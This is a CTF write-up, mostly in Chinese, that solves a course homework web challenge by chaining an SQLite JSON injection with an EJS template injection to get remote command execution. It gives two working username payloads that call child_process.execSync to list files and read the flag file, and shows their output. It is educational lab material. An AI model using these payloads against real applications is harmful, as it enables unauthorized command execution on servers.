Simple Web 0x42(2023 HW - Double Injection - FLAG2)

Simple Web 0x42(2023 HW - Double Injection - FLAG2)

Background

Node JS ejs SSTI

Source code

呈上題

Recon

這一題想了很久,因為我沒有跟影片,想說應該都是跟去年差不多或是在臺科的網頁安全一樣,但其實相關的payload就是在講義上,花了一整天寫的我be like: 基本上就是連接前一題的思緒,既然我們知道admin的password也就是FLAG1,那麼我們就可以用前一題的payload:

admin.password") as password, json_extract(users, '$.admin.password') as password from db; -- #

後面搭配簡單的XSS也是可以通的,原本想說可以利用XSS達到RCE,但就我之前和Kaibro的詢問,XSS應該沒有這麼powerful,所以我就往SSTI或command injection下手,後來經過@cs-otaku的提點才知道ejs有一個洞,也是上課有提到的SSTI控到RCE,當時看的文章是Huli大寫的,內容詳細說明了為甚麼會有這個洞以及該如何構造攻擊的payload,不過整體更複雜也算是需要客製化的題目才需要了解這麼多,這一題算是只要取得經典的payload就可以攻克,如果想要用動態看他跑得怎麼樣,可以用web storm跟,想知道整體的動態流程可以看之前寫的文章

Exploit - Ejs SSTI RCE

  • Payload 1:
    • Username:
        admin.password") as password, json_extract(users, '$.admin.password') as password from db; -- # <%= global.process.mainModule.require("child_process").execSync("ls -al /").toString() %>
      
    • Password: FLAG{sqlite_js0n_inject!on}
    • Result:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
        total	76	
        drwxr-xr-x	1	root	root	4096	Dec	18	18:54	.	
        drwxr-xr-x	1	root	root	4096	Dec	18	18:54	..	
        -rwxr-xr-x	1	root	root	0		Dec	18	18:54	.dockerenv	
        drwxr-xr-x	1	root	root	4096	Dec	11	18:36	bin	
        drwxr-xr-x	5	root	root	340		Dec	18	18:54	dev	
        drwxr-xr-x	1	root	root	4096	Dec	18	18:54	etc	
        -rw-r--r--	1	root	root	28		Dec	18	17:15	flag1.txt	
        -rw-r--r--	1	root	root	23		Dec	18	17:15	flag2-1PRmDsTXoo3uPCdq.txt	
        drwxr-xr-x	1	root	root	4096	Dec	18	17:15	home	
        drwxr-xr-x	1	root	root	4096	Dec	11	18:36	lib	
        drwxr-xr-x	5	root	root	4096	Dec	7	09:43	media	
        drwxr-xr-x	2	root	root	4096	Dec	7	09:43	mnt	
        drwxr-xr-x	1	root	root	4096	Dec	11	18:36	opt	
        dr-xr-xr-x	497	root	root	0		Dec	18	18:54	proc	
        drwx------	1	root	root	4096	Dec	11	18:36	root	
        drwxr-xr-x	2	root	root	4096	Dec	7	09:43	run	
        drwxr-xr-x	2	root	root	4096	Dec	7	09:43	sbin	
        drwxr-xr-x	2	root	root	4096	Dec	7	09:43	srv	
        dr-xr-xr-x	13	root	root	0		Dec	18	18:54	sys	
        drwxrwxrwt	1	root	root	4096	Dec	22	17:16	tmp	
        drwxr-xr-x	1	root	root	4096	Dec	18	13:27	usr	
        drwxr-xr-x	12	root	root	4096	Dec	7	09:43	var	
      
  • Payload 2:
    • Username:
        admin.password") as password, json_extract(users, '$.admin.password') as password from db; -- # <%= global.process.mainModule.require("child_process").execSync("cat /flag2-1PRmDsTXoo3uPCdq.txt").toString() %>
      
    • Password: FLAG{sqlite_js0n_inject!on}
    • Result: FLAG{ezzzzz_sqli2ssti}

Flag: FLAG{ezzzzz_sqli2ssti}

補充: How to debug it?

這邊示範如何用vscode debug這個project

  1. 可以先看這個文章準備一些前置作業
  2. 在文章中有提到,docker幫忙做的事情,現在要自己完成
    1
    2
     $ sudo touch /flag1.txt ; sudo chmod 777 /flag1.txt ; sudo echo "test" > /flag1.txt
     $ sudo node init-db.js ; sudo chmod 444 /etc/db.sqlite3
    
  3. 接著就可以開始debug app.js了

Reference

CTF 中的 EJS 漏洞筆記 AIS3-EOF-CTF-2019-Quals - echo WP ejs RCE CVE-2022-29078 bypass